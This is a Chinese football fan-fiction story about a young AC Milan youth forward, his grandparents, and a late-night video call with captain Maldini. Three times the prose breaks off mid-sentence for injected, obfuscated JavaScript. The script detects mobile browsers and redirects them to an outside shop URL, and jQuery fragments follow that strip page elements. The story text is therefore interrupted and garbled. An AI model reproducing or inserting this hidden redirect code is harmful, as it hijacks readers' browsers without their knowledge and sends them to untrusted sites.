《[足球]绿茵场上的神明》
1. 餐桌上的话题
八月的米兰傍晚,暑气还未完全散去。
马里诺家的厨房窗户敞开着,微风带来邻居家飘出的橄榄油香气。
餐桌铺着蓝白格子的棉布桌布,正中摆着一大盆番茄罗勒意大利面,爷爷福尔图内坚持说,八月的番茄味道最正,不用多加什么调料。
“Lollo,再吃点面包。”
奶奶斯特拉把藤编面包篮往孙子那边推了推,“你训练回来时那样子,真像在太阳底下疯玩回来的小猫,累得不行。”
洛伦佐——家里人都喜欢亲密的叫他Lollo,接过一片面包,慢悠悠地抹上蛋黄酱:“nonna,那只小猫可比我快活。我明天早上还有耐力跑呢。”
福尔图内端着烤蔬菜拼盘走过来坐下。
他今天特意加了点新鲜牛奶,香气随着盘子落在餐桌中央飘散开来。
“耐力跑?我记得你不久之前才跑过,这么频繁?”
“现在训练科学多了。”洛伦佐戳了戳盘子里的茄子块,“有心率监测,有营养计划……”
“还有lollo那个总也结束不了的个人训练。”爷爷切了块面包,眨眨眼睛,语气随意得像在评论天气。
餐桌上安静了一瞬,只有窗外传来的隐约车声。
奶奶先笑起来:“哦,对了,瓦莱里奥教练前天在超市碰到我,还说起你呢。”
洛伦佐把放着茄子块的面包塞进嘴里嚼嚼,含糊不清的问:“他说什么了?”
“说你团体训练时像换了个人,跑动积极,传球也漂亮。”奶奶给每人盘里添了些沙拉,“不过嘛……”
“不过一个人的时候,就变成了米兰大教堂前的小鸽子,我们的宝贝lollo~”爷爷接话,眼睛弯起来,“慢悠悠的,东看看西看看,教练不说停,你就能在那儿磨蹭到天黑。”
宝贝lollo的脸微微发红:“我没有磨蹭,我只是喜欢按照自己的节奏来。”
“你的节奏,”爷爷喝了口水,“比上赛季米兰的欧冠还让人摸不着头脑。”
三个人都笑了。这是洛伦佐选择踢球后典型的马里诺家餐桌——足球话题总是会冒出来。
哪怕爷爷奶奶其实不算真正的球迷。
他们知道马尔蒂尼,因为报纸上总见;他们记得巴乔,因为九十年代时整个意大利都在谈论他;他们听说今年夏天法国队赢了欧洲杯,因为七月初时所有酒吧都在放比赛。
“说到欧洲杯,”奶奶一边切番茄一边说,“我之前在报纸上看到那个头顶空空,旁边还有点头发的法国球员…叫什么来着?他在意大利踢球?”
“齐达内,nonna。”洛伦佐说,“但他在尤文图斯,都灵那边。不是米兰。”
“哦,可惜。”奶奶耸耸肩,“他踢球的样子挺好看的,像在跳舞。”
爷爷插话:“要我说,最优雅的还是我们未来的lollo。不过那个法国队确实厉害,都过去一个多月了,报纸还在分析他们怎么赢的。”
话题自然而然地滑向了刚过去不久的欧洲杯。
爷爷奶奶记不清具体细节,但记得特雷泽盖加时赛进的那个球,因为那晚隔壁的安东尼奥先生家里震天响,声音大得整条街都听见。
他们记得皮耶罗错过了几次机会,因为第二天肉店老板抓着来买肉的福尔图内抱怨了足足十分钟。
这就是普通意大利老人眼里的足球:不是战术板和数据表,而是生活里的声音和情绪。
“不过lollo,”爷爷把话题拉回来,“瓦莱里奥跟我说,你的训练总是完成得非常从容。”
“从容?很新意的形容。”奶奶挑起眉毛。
“就是每次单独练习,你都能做完,但总要花上点额外的时间。”爷爷看向他的宝贝lollo,眼神里没有责备,只有好奇,“瓦莱里奥说,你也不是在加练,就是有点慢。”
洛伦佐低头卷着盘子里的意面。卷成便便,松开,再卷一个。
“我只是不喜欢赶时间。”他嘀嘀咕咕,“个人训练又不需要人配合,我可以自己掌握节奏。”
“你的节奏让教练很为难。”爷爷的声音依然温和,“你现在还是小毛毛,他不放心你们,得等你结束才能锁门。上周四,他妻子做了海鲜烩饭,结果因为你还在练习场上来回带球,烩饭变成了海鲜粥。”
奶奶轻轻拍了下爷爷的手臂:“别这样说,孩子有自己的方式。”
“我没有怪他的意思。”爷爷笑了,“我就是好奇,Lollo一个小家伙在那儿多待的几小时,在做什么呢?”
洛伦佐沉默了几秒。窗外的天色在谈话时间里渐渐变成深蓝,第一盏街灯亮了起来。
“有时候我在想动作。”他最后说,声音不大,“有时候就看别人训练。队里那个新来的巴西人,他的踩单车动作和我们学的不太一样。有时候我就坐着,只是坐着。”
“发呆?”奶奶问。
“算是吧。”Lollo承认,“团体训练时一直要跑,要配合,要听指令。我一个人的时候,我就想慢一点。”
洛伦佐用手托着脸颊,蓬松的金发让他从后面看起来像朵小蘑菇。
餐桌安静下来,福尔图内和斯特拉交换了一个眼神,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265235|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
那种共同生活了四十多年的人之间才有的、无需言语的眼神交流。
最后是爷爷先开口,声音里带着笑意:“你知道,我以前设计花园的时候,有时候也会对着一块石头看半天。客户催我,我说‘急什么,石头又不会跑’。”
奶奶接话:“我给动物做检查时也是。有时候主人着急,但我得慢慢来,治疗方案总不能太快下决定。”
“所以你不是在偷懒,”爷爷总结道,“你是在用马里诺家的传统方式对待事情——慢工出细活。”
内心敏感的lollo挤着自己的脸颊肉,金鱼嘴嘚啵嘚啵:“但他们说足球是快节奏的运动。”
“足球是快节奏,”爷爷眨眨眼,“但准备足球的时间,可以是慢节奏。只是,也许别太慢?别让海鲜烩饭变成粥?”
“我尽量。”洛伦佐放下手。
“这样吧,”福尔图内身子前倾,手肘撑在桌上,“你答应nonno,以后个人训练最多拖延…让我想想,合理的时间…”
“半个小时。”奶奶抢答,“海鲜烩饭变稠一点还能吃,变成粥就太可惜了。”
“成交!”Lollo举起手边的牛奶。
三个杯子在空中轻轻相碰。
窗外的米兰完全陷入了夜晚,厨房的灯光显得更加温暖。
后来的话题转向了奶奶新买的手机,她终于学会了发短信,但第一条发给了自己;
转向了爷爷刚学会的新菜谱,据说可以在夏天尝出冬天的味道,洛伦佐想也许是冰淇淋做主菜;
转向了社区公园里新来的流浪猫,奶奶已经在盘算着带点吃的去看看。
Lollo吃着最后几口已经微凉的便便面条,脑子里想着明天的事。
除了耐力跑,他还要练习射门,用左脚。
如果像往常一样慢悠悠地来,大概又要超时,但也许可以试试不同的方法。
先咻咻咻完成基础练习,如果还有时间,再慢慢调整细节。
这样既不会让教练等太久,也能有自己的节奏。
洛伦佐看了眼墙上的钟,七点半。离睡觉还有两小时。
也许可以看看电视,或者就坐在窗前,什么都不做,只是看看米兰的夜晚。
毕竟,一个十四岁还差一点儿的孩子,一个AC米兰U15的出色前锋,一个和祖父母生活在一起的乖lollo,有权利用自己的方式度过夜晚。
当然,也有权利用自己的节奏长大。
即使那个节奏,在有些人看来,有点太像米兰大教堂前的咕咕——不着急啊,永远都不着急,咕咕咕~
2. 夜晚的泡泡与电话
晚餐后的厨房总是带着一种温暖的倦意。
番茄和罗勒的香气还没完全散去,混合着洗洁精淡淡的柠檬味,在空气里慢悠悠地打转。
洛伦佐把盘子放进沥水架,伸手又挤了一泵洗洁精。
淡绿色的液体落在掌心,他合拢双手,搓搓,凑近,轻轻地、长长地吹了一口气——
一个颤巍巍的、彩虹色的泡泡从指缝间钻了出来,晃晃悠悠地想往上飘。
“Lollo,”奶奶的声音从身后传来,带着笑意,“你是在帮忙,还是在做厨房里的捣蛋鬼?”
“两者都有,nonna。”洛伦佐又吹出一个泡泡,看着它追逐着前一个,在吸顶灯的光晕里轻轻碰了一下,无声地消失了。
“我在测试清洁剂的效果怎么样!”
奶奶摇摇头,用干布擦着盘子。
她的动作有着兽医特有的利落和仔细,每个盘子都擦得锃亮,边缘也检查一遍,才放进碗柜。
洛伦佐负责冲洗,水流哗哗地响,和他偶尔的泡泡游戏形成奇怪的二重奏。
这时,爷爷福尔图内穿着他那件旧羊毛拖鞋,踢踢踏踏地走进厨房。
他没看水池这边,而是径直走向奶奶,很自然地揽过她的肩膀,在她脸颊上印下一个轻柔的吻。
“晚安,我的星星。”他说。
奶奶的名字斯特拉,在意大利语里是星星呀。
“晚安,老园丁。”星星笑着回应,伸手拍了拍他的胳膊。
然后爷爷转向洛伦佐。
洛伦佐还举着沾满泡沫的手,爷爷毫不在意地弯腰,也在孙子还带着点婴儿肥的脸颊上响亮地亲了一下。
“晚安,我的小鸽子~ 哦不,现在你看起来更像只玩泡泡的青蛙。”爷爷的眼睛在灯光下闪着狡黠的光。
洛伦佐用手背蹭了蹭脸,留下一点泡沫痕迹:“晚安,nonno。你要去睡了吗?”
“先不急,”爷爷站直身子,用手指把洛伦佐脸颊肉上的泡沫抹掉,“我想了想,得给瓦莱里奥打个电话。”
洛伦佐下意识把手里的水流关小了。
奶奶也停下了擦拭的动作。
“打电话?”奶奶问,“现在?都八点多了。”
“正是好时候。”爷爷说,“这个时间,他应该已经吃完晚饭,希望今天的不是烩饭。我得告诉他,我们家的Lollo不是故意给他添麻烦的。”
洛伦佐低下头,盯着水池里还在旋转的泡沫。
“nonno,不用特意……”
“要的。”福尔图内的语气温和但不容置疑,“我得让他知道,这可不是偷懒,这是我们家的特色!之前我们忘了法比奥,你爸爸拍照时能在一个位置待上好几个小时,就为了什么好的光线。所以我们家人做事,都有点自己的节奏。”
斯特拉笑了起来:“亲爱的,要我讲,你可以说这是你们遗传的‘慢性子’”
“是‘周全’。”爷爷纠正道,表情一本正经,“而且,最重要的是,我们Lollo在餐桌上听到问题后,立刻进行了‘深刻的反思’。”
他特别强调了那几个词,还冲洛伦佐眨了眨眼。“能这么快意识到问题,还愿意调整,对于十三岁的小毛毛来说,非常了不起了!我得让教练也知道这一点!”
洛伦佐感觉脸颊有点发烫,不知道是因为刚才的亲吻,还是因为爷爷的话。
他把手伸进微凉的水流里,小声嘟囔说:“我只是,不想让教练的烩饭再变成粥。”
“看!”爷爷像发现了什么重大证据,“多么体贴!好了,你们继续。我去书房打个电话,声音会轻一点的。”
他摆摆手,踢踢踏踏地走了出去,拖鞋声消失在走廊尽头。
水流声重新大了起来,洛伦佐放过了通过检测的清洁剂,埋头苦洗。
斯特拉发现害羞lollo后,嘴里轻轻地哼起了小调,有种温暖的东西充盈着空间,比灯光还要柔和。
奶奶和洛伦佐很快完成了剩下的工作。
台面擦得发亮,刀具整齐归位,垃圾袋扎好放在门边。一切都恢复了秩序,只有空气中残留的柠檬味提示着刚才的忙碌。
“好了,我的宝贝lollo,”奶奶解下围裙,“我也要去休息了。记得别在外面待太久,晚上有露水。”
“知道了,nonna。”
奶奶也给了洛伦佐一个晚安吻,然后离开了厨房。灯光被带暗了一瞬,又恢复了明亮。
洛伦佐在原地站了一会儿。
厨房突然显得很空旷,也很安静。
他擦干手走到客厅,从充电器上拔下手机,哦,是最新款。这是去年生日时,妈妈寄过来的礼物。
利贝拉作为一名无国界医生,还在和她的医疗队为陷入内战中的塞拉利昂伤民提供救助,因此她很难全程参与洛伦佐的成长,好在她的家人们都表示理解,并且对伟大的利贝拉女士心存敬意并全力支持。
手机里面存了他们和爷爷奶奶的号码,还有几个其他人的号码。
他没有回房间,而是转身穿过客厅,推开通往院子的小玻璃门。
夏夜的空气立刻包裹了他,比室内凉爽,带着植物和泥土的气息。
这个小院子是爷爷亲自打理的,为此福尔图内总是拍着肚子感到骄傲。
即使是在夜色里,也能看出轮廓:整齐的矮冬青,角落里开着晚花的茉莉,还有那张老旧的藤编躺椅,斯特拉喜欢藤编或竹编的东西。
洛伦佐把自己陷进躺椅里,藤条发出轻微的呻吟。
他抬起头。
天空是墨蓝色的,不是纯黑,米兰的光污染让它显得有点发灰。但星星还是有的,这里一颗,那里一颗,淡淡的。
街道上的路灯倒是很尽责,一个个圆滚滚的光球,沿着街道排成整齐的两行,一直延伸到视线尽头。偶尔有车灯划过,像流星,但带着人类造物的嗡嗡声。
他又看了一会儿路灯。
近处的路灯灯罩好像有点歪,灯光洒出来的形状就不太一样,一边亮些,一边暗些,像个
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265236|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
月亮被咬了一口。离他最近的那盏路灯下有一小片飞虫在绕着光球打转,密密麻麻的,但又很安静。
遗传自爸爸的那种,摄影师的眼睛,或者说,那种过于敏感的内心,开始不安分起来。
黑暗好像把白天的声音都吸走了,又把一些细小的东西放大了。
他偶尔能从空气中闻到隔壁院子飘来的味道,有点像是烟草。能听到电视的模糊声响,大概是在放热闹的音乐节目。能感觉到身下藤条的纹理,透过薄薄的T恤印在背上。
然后,毫无征兆地,一种强烈的分享欲像泡泡一样,从他心里冒了出来。
跟爷爷奶奶说?他们已经睡了,或者快睡了。
跟远方的父母说?有时差,而且他们的回复总是隔着一层说不清的、遥远的关切,甚至带点愧疚。
他想跟一个……既不完全了解他,但又离他的日常不那么远的人说。
想说那盏歪了的路灯,想说那些傻乎乎绕着光飞的虫子,想说爷爷那通电话让他心里胀胀的感觉,甚至想说洗洁精泡泡在灯光下真的有七种颜色。
手指几乎是自己动起来的。
他翻开手机,屏幕的光亮在昏黑里照亮了他的脸。
通讯录往下滑,滑过家人的名字,滑过几个青训队友和教练的号码,停在一个没有存名字、但号码备注着数字的联系人上。
他盯着那个号码看了几秒。
心脏突然跳得有点快,像比赛前站在球员通道里。
也许对方在忙?也许已经休息了?
但分享欲像涨潮的水,推着他。
他按下了视频通话的请求键。
手机的扬声器里传来漫长的“嘟——嘟——”声,在安静的院子里格外清晰。每一声都让洛伦佐的神经绷紧一点。
他几乎想挂断了。
就在他手指要移向红色按钮的瞬间,
“嘟”声停了。
屏幕晃了一下,然后亮了起来。一张脸出现在小小的屏幕上。
光线有点暗,背景看起来像是一个简洁的客厅或者书房,远处有书架。那张脸很熟悉,意大利人几乎每周都能在体育报纸或电视上看到。
此刻,对方似乎有些惊讶,眉毛微微扬起,但表情很快缓和下来,甚至露出了一点介于困惑和有趣之间的神色。
他没有立刻说话,只是看着屏幕这边陷在黑暗躺椅里、被手机光照亮的金发男孩。
洛伦佐咽了口唾沫,突然忘了自己刚才想说的所有关于路灯和虫子的话。
他只能听到自己有些急促的呼吸,和院子里夏夜微弱的虫鸣。
屏幕那头的人终于动了动,稍微凑近了些,清晰的声音透过听筒传来,带着一丝刚结束一天生活的松弛,和一点点不难察觉的温和:
“洛伦佐?”
这个名字从他的口中吐出,自然而熟悉,仿佛已经叫过很多次。
洛伦佐深吸一口气,手指握紧了温热的手机外壳。
夜晚,好像从这一刻开始,才真正降临。
3. 屏幕上的队长
对方的声音透过听筒传来,比电视转播里听到的更低一些,也更真实。
洛伦佐下意识地屏住了呼吸。
屏幕上,是那张他再熟悉不过的脸——保罗·马尔蒂尼。
AC米兰的队长,此刻正穿着简单的深色家居服,坐在一张看起来舒适而有人味的单人沙发里。背后是深色的木质书架,书架上有些书摆放得整齐,有些则随意地斜靠着,沙发旁边的茶几上还放着一瓶喝了半杯的水。
马尔蒂尼的神情看起来很温和,眉宇间那惯常的专注此刻稍稍软化。他调整了一下手机的角度,让自己在屏幕里的画面更稳定些。
看到这个时间点打来视频电话的是洛伦佐,他心下掠过一丝讶异,毕竟这孩子主动联系的时候实在不多。
“晚上好,”马尔蒂尼先开了口,语气自然得仿佛他们昨天才通过话,“这个时间打电话,是有什么特别的事吗?”
洛伦佐张了张嘴。“晚上好,队长。”这句话很自然地溜了出来,对米兰青训营里长大的每一个男孩来说,“队长”这个称谓指向马尔蒂尼时,几乎是一种本能,不需要任何排练。
他想说的话,关于歪路灯、飞虫、泡泡的颜色,突然全都搅在了一起,变成了一团混乱的、絮状的东西,堵在胸口。
“我……”他发出一个短促的音节,然后抿紧了嘴唇。
马尔蒂尼耐心地等着。他没有催促,也没有因为沉默而感到不耐。
他只是看着屏幕那端陷在藤椅里的男孩,看着他那头即使在昏暗光线下也显得格外柔软的金色卷发,还有脸上那副混合了紧张、兴奋和一点点懊恼的生动表情。
他心里想着,这是洛伦佐第二次主动联系他。
第一次是在今年欧洲杯开始前,空气里绷着一根看不见的弦,混杂着期待与不安。
洛伦佐打来了语音通话,男孩的声音透过电流传来,清澈里带着点小心翼翼,但在大人眼里却看起来很明显的试探。
“队长,”他说,没有直接提及即将到来的大赛,而是绕了个弯子,“我昨天看到训练基地外面那棵老橡树,叶子特别绿。爷爷说,叶子特别绿的时候,通常会有好事情发生。” 他停顿了一下,好像在组织语言,“所以……我就是想告诉您这个。叶子很绿。”
那通电话很短,笨拙却又透着一种孩子气的关怀,没有任何直白的关于胜利的沉重期望,好像只是分享了一个微不足道的、关于叶子的观察。
但不知为何,当时正因为各方面问题而心情郁郁的马尔蒂尼,却从这个有些莫名其妙的电话里,感觉到了一种被遥远关怀着的暖意,像一阵不经意吹散阴云的风。
自那以后,更多的反倒是马尔蒂尼自己,会隔三差五地发去信息或拨个电话。
起初,话题确实围绕着足球多一些:“你今天比赛踢的很漂亮。”“确实,对前锋来说有些后卫真的很难缠,我也可以算其中之一。”
可不知从何时起,对话的内容慢慢变成了更日常的交流:“发带又丢了吗?”“院子里的花今年开得怎么样?”“上次你说的那只总来偷看你们训练的小鸟,最近还出现吗?”
外人很难想象,米兰的旗帜、更衣室里说一不二的领袖,会和一个U15梯队的小球员保持这样不算频繁,但确实单向度偏多、却又渗透着生活气息的联系。
而这一切的开始,也并非源于任何一方的主动。
时间倒回两年多以前。
那时洛伦佐十一岁,准确的来说还要再加六个月,他的技术天赋已经开始以一种令人无法忽视的方式绽放,最终被破格提拔进U15梯队。
与此同时,他性格里某些特别的部分,也让青训主管和几位教练感到些许哭笑不得。
洛伦佐绝不是坏孩子。恰恰相反,他从不违反纪律,训练刻苦,至于个人训练,他也都完成了不是吗,只是有点慢而已。
更难得的是,如果他们输掉比赛,并且在整个更衣室都被沮丧笼罩时,半半的概率,这小子会用他独特的方式来打破僵局。
有一次,球队输掉了一场重要的青年德比,更衣室里一片死寂。
洛伦佐坐在自己的柜子前,也低着头。
过了一会儿,他忽然小声说:“你们说,球网在进球的时候会生气吗?它平时都好好的,但球砸过去的时候就像是被痛殴,虽然只有一瞬间。”
几个队友抬起头,愣愣地看着他。另一个同样懊恼的后卫嘟囔:“看来今天我们身后的球网得被我们气死了吧”
洛伦佐眨巴着眼睛,像蒙了层水汽的玻璃珠,他很认真地说:“那下次我们要多进对面几个哄哄它才行。”
一阵沉默后,不知谁先“噗嗤”笑了出来,更衣室里那沉重的气氛,似乎被这个无厘头的想法撬开了一道缝。
还有一次常规训练后,大家讨论起谁最厉害。
有的说上帝第一我第二,有的吹嘘上帝也不如自己。
轮到洛伦佐时,他躺在垫子上,卷毛蘑菇头在阳光下亮亮的,很郑重地问:“上帝真的不能和我在一起,然后我们再把对方生下来吗?”
全场静默两秒,随即爆发出大笑。教练们捂着肚子,眼泪都笑出来了,完全不知道该怎么接这话。
瓦莱里奥某天揉着太阳穴对同事吐槽:“这孩子的脑袋里,每天都不知道在想什么。你根本猜不到他下一句会蹦出什么。关键是,他自己特别认真!而且有时候,他那套歪理居然还真能让人感觉好点儿。”
“他惹的麻烦,”青训教练后来对马尔蒂尼描述时,用了这样一个比喻,“不像那些小子打架斗殴、夜不归宿那样硬邦邦的。他的麻烦是……毛茸茸的。你抓不住重点,但它就在那儿,蹭得你又想笑又没脾气。”
最让教练们无奈又欣慰的是,这孩子的天赋真的高得吓人。他的球感、阅读比赛的能力、在狭小空间里那种举重若轻的摆脱,仿佛与生俱来。
教练组曾私下讨论:“如果不是年龄和身体还在发育,光论技术和脑子,他早该在预备队站稳脚跟,甚至距离触摸一线队的门槛,或许也只差几次漂亮的亮相。”
“他升U15时才十一岁半,已经比很多大孩子更会用脑子踢球。”
正是基于这种复杂的认知,当瓦莱里奥注意到那段时间马尔蒂尼眉宇间时常笼罩着不明显的愁绪时,一个念头冒了出来。
他把洛伦佐的联系方式给了马尔蒂尼。
“保罗,”瓦莱里奥当时说,表情有点像分享一个神奇而且好玩的东西,想帮球队的队长分散下注意力。
“我们这儿有个小家伙,很特别。踢球像个精灵,平常像呃…原谅我,我实在形容不出来。但有时候看他踢球,或者跟他说两句话,能让人忘掉不少烦心事。
我觉得,你们或许可以聊聊?反正,迟早有一天,他也会在更衣室里叫你‘队长’的。”
他顿了顿,又补充道,语气里带着全米兰共通的信任与亲近,“而且,在这里,没有人会不喜欢保罗·马尔蒂尼,对吧?让他提前感受下队长的关怀,没坏处。”
于是,一段出乎意料的关系就这样开始了。
马尔蒂尼最初或许只是出于礼貌和一丝转移注意力的需要,尝试接触这个被瓦莱里奥描述得如此“特别”的青训小甜菜。
但很快,他发现这个叫洛伦佐的男孩,他的抽象和无厘头并非刻意搞怪,而是一种浑然天成的、看待世界的独特角度,充满了跳跃的、令人发笑又偶尔触动人心的联想。
他的问题有时让人忍俊不禁,有时又莫名地让人感到一种奇特的安慰。和他对话,不需要那些更衣室里的鼓舞或威严,反而需要一点放松和接纳荒谬的幽默感。
这反而成了一种奇特的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265237|198087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
调剂。
屏幕里,洛伦佐终于组织好了语言,尽管声音还有点紧:“晚上好,队长。我是不是打扰你了?”
马尔蒂尼微微摇了摇头,嘴角的弧度加深了些许:“没有,我刚看完一些比赛录像。正好休息一下。”
他注意到背景里深色的藤椅和隐约的植物轮廓,“你在院子里?”
“嗯。”洛伦佐像是找到了突破口,立刻把手机镜头转向旁边,让马尔蒂尼能看到那盏有点歪的路灯,和光晕下飞舞的虫群,“您看,那盏路灯,它有点歪了,所以光洒下来像被咬了一口的月亮。那些虫子,它们明明知道只是在绕圈,为什么还要一直飞呢?是因为光太漂亮了,还是因为它们忘了怎么停下来?”
他的语速快了起来,带着一种急于分享的雀跃,早前的紧张被熟悉的、对细微事物的好奇所取代。
马尔蒂尼看着屏幕上摇晃的、有些模糊的夜景,听着男孩连珠炮似的提问,那种熟悉的、略带无奈却又忍不住被牵引的感觉又回来了。
他没有立刻回答那些关于路灯和虫子的问题,而是温和地问:
“所以,今天发生什么事了吗,洛伦佐?让你想起了这些。”
洛伦佐的镜头转回来,重新对准自己的脸。他的金发在昏暗光线下像一团柔软的云,手机屏幕的光映着他的眼睛,那是种清澈的蓝色,像夏日午后的晴空,又带着点矢车菊花瓣的灰调,此刻在微光里显得格外专注。
“nonno给教练打电话了。”他老实地交代,“因为我的个人训练总是拖很久,说不准哪天连我mami都要知道了。nonno说我不是在偷懒,他还打算讲我已经针对‘烩饭问题’进行了‘深刻的反思’。”
洛伦佐又解释什么是“烩饭问题”,脸上泛起一点不好意思的红晕,但眼睛却一直看着屏幕里的马尔蒂尼,像是在观察队长的反应,又像是在寻找某种确认。
马尔蒂尼安静地听着,没有打断。
他的眼神落在男孩脸上,那里有青涩,有敏感,有一种未被尘嚣沾染的、专注于自身世界的明亮。
他想起了瓦莱里奥当初那句“毛茸茸的麻烦”,也想起了欧洲杯前那个关于“很绿的叶子”的电话。
“马里诺先生说得对。”马尔蒂尼终于开口,声音平稳而肯定,“每个人都有自己的方式。在球场上,有时候快就是慢,慢就是快。”
他看着屏幕里男孩专注的眼睛,“不过,能让教练的烩饭保持该有的样子,也是一种重要的‘团队配合’,你觉得呢?就算是为了不让勺子孤单地和一团糊糊待在一起?”
最后一句带上了些微调侃的语气。
洛伦佐眨了眨眼,那抹蓝色在夜色和屏幕光的交界处闪动了一下,似乎在消化这句话,尤其是最后那个突如其来的、带着他风格的无厘头比喻。
然后,他轻轻地点了点头,脸上露出一丝恍然和放松的笑意,那笑意很快扩大,变成一个小小的、满足的笑容。
“嗯。”他应道,声音轻快了些,身体也更放松地陷进藤椅里,“勺子应该和粒粒分明的米饭在一起,或者泡在浓浓的汤里。”
夜晚的微风拂过院子,带来茉莉的淡香。
屏幕两端,未来传奇的队长和现在还青涩的少年,隔着电子信号的涓流,共享着这个米兰夏夜的片刻宁静。
那些关于天赋、关于成长、关于未来的重量,在此刻,似乎都被笼罩在了那盏歪斜路灯所投下的、柔柔的光晕里。
通话显然还没结束。
洛伦佐动了动嘴唇,似乎准备开始描述他今晚观察到的更多细节,关于泡泡,关于自己动起来的手指。
而马尔蒂尼也微微向后靠了靠,换了个更舒适的姿势,那双惯常锐利的眼中,此刻流露出耐心倾听的柔光,准备迎接一段或许毫无逻辑、却注定独特的“洛伦佐式”分享。
4. 泡沫、沙砾与海玻璃
马尔蒂尼透过屏幕注视着洛伦佐,对方脸上刚才那点不好意思的神情已经褪去,又被一种跃跃欲试的分享欲取代。
“队长,”洛伦佐开口,声音在夏夜的背景音里显得清晰,“你知道吗,我发现厨房窗户的玻璃,每天早上和晚上看上去,颜色是不一样的。早上有点泛金,像涂了层薄薄的蜂蜜;晚上就变成了蓝色,像蓝莓冰沙!”
马尔蒂尼舒适地靠在沙发里,他听着男孩用那种特有的、认真描述奇观的语气说着家常。
屏幕那头传来的声音,像背景里隐约的虫鸣一样,成为夜晚的一部分。
“nonna的旧收音机,调频不准的时候,会发出‘嘶嘶’的声音,混在音乐声里,有时候听着听着,会觉得那是种特别的口哨声,像在说唱的好一样。”
洛伦佐继续说着,“还有我房间的窗帘,起风的时候,影子投在墙上会晃。如果盯着看久了,会觉得那影子像个特别瘦长的人在慢慢鞠躬,一遍又一遍。”
他说完这些,停了下,好像觉得这些观察过于琐碎,又赶紧补充道:“不过还是泡泡最好玩!洗洁精的泡泡在灯光下面,真的有颜色。不是一种,是好多种,混在一起,像是把彩虹打碎了然后搅一搅。”
他边说边用手比划着,手指在空中画着不规则的圈,仿佛在描绘那些转瞬即逝的泡沫。
“我吹了一个特别大的,它飘啊飘,还没多高,自己就破了。nonna说那是因为它太薄了,撑不住自己。但我觉得,可能是因为它飞到一半,突然想起来自己只是个泡泡,觉得没什么意思,就‘噗’一下,回去当洗洁精水了。”
马尔蒂尼没有急着回应他,静静听着。
他能想象那个画面:男孩在厨房或房间,对着一扇窗、一台旧收音机、一片晃动的窗帘或一个肥皂泡,投入地观察着那些被绝大多数人忽略的细节。
这种专注力本身,或许也是他在球场上能捕捉到微妙空档的原因之一。
短暂的沉默后,洛伦佐像是忽然切换了频道,语气带上一点刻意的轻快:“队长,这次度假怎么样?有遇到什么好玩的事情吗?比如……去码头弄点薯条的海鸥?”
他努力让话题听起来轻松有趣,浅色的眼睛在屏幕光下认真观察着对方的表情。
成熟大人轻易地捕捉到了这份小心翼翼的转移。这孩子本身敏感,所以总有种模糊的直觉,像小动物能感知天气变化。
他确实能感觉到自己情绪底层那未曾完全消散的滞重。洛伦佐大概也隐约触碰到了这丝痕迹,所以聪明地或者说体贴地绕开了可能引起波澜的话题,试图用“有意思的事”来构筑一个安全的谈话岛屿。
这让他心里某个部分微微软化。一个孩子,在用他笨拙而独特的方式表达关心。
事实上,关于欧洲杯的思绪,如同一道淡淡的阴影,并未因时间过去一个多月而完全消散。
三次世界杯,三次欧洲杯,每一次都拼尽全力,每一次都仿佛与最终的荣耀擦肩而过,留下的是竞技体育中最令人扼腕的“如果”和“差点”。
那种遗憾和疲惫,比以往更沉地压在他心头。不仅仅是输掉一场决赛,还有一种……属于他这一代球员的、黄金窗口正在缓缓关闭的钝痛。
甚至对两年后的远东之旅,在期待之下,也潜藏着一丝不愿深究的、关于时间与状态的不安。
他本不打算对一个孩子剖析这些。但看着洛伦佐那努力想营造愉快气氛、却又掩不住眼中探询和关心的模样,那些惯常的、属于队长和公众人物的克制,悄然松动了几分。
“度假的地方海水很清澈,能看到水下的石头。”马尔蒂尼顺着度假的话题回答,看起来好像没发觉什么,“不过,洛伦佐,”他话锋轻轻一转,目光变得沉静了些,“我确实还在想欧洲杯的事。”
洛伦佐明显愣了一下,随即,那双向来表情丰富的脸上开始上演一场无声的、细微的戏剧。
先是眼睛微微睁大,似乎没料到队长会主动提起;然后长长的睫毛快速眨动了几下,透出一点“糟糕,这个话题还是出来了”的无措;紧接着,他的嘴唇抿了抿,又松开,手指无意识地揪了一下藤椅的边缘。整个人陷入了一种“我该怎么接话?要不要安慰?怎么安慰?”的纠结状态。
马尔蒂尼仔细看着这些变化。
很奇怪,当他把那份失落用言语轻轻托出,放在两人之间的“谈话桌面”上时,它带来的压迫感似乎反而减轻了一点点。
而观察洛伦佐这种如临大敌、绞尽脑汁组织语言的反应,竟成了舒缓情绪的一种特殊方式。
洛伦佐不擅长掩饰,所有的纠结、关心、试图理解的努力都写在脸上,像一本翻开的、字体可爱的书。
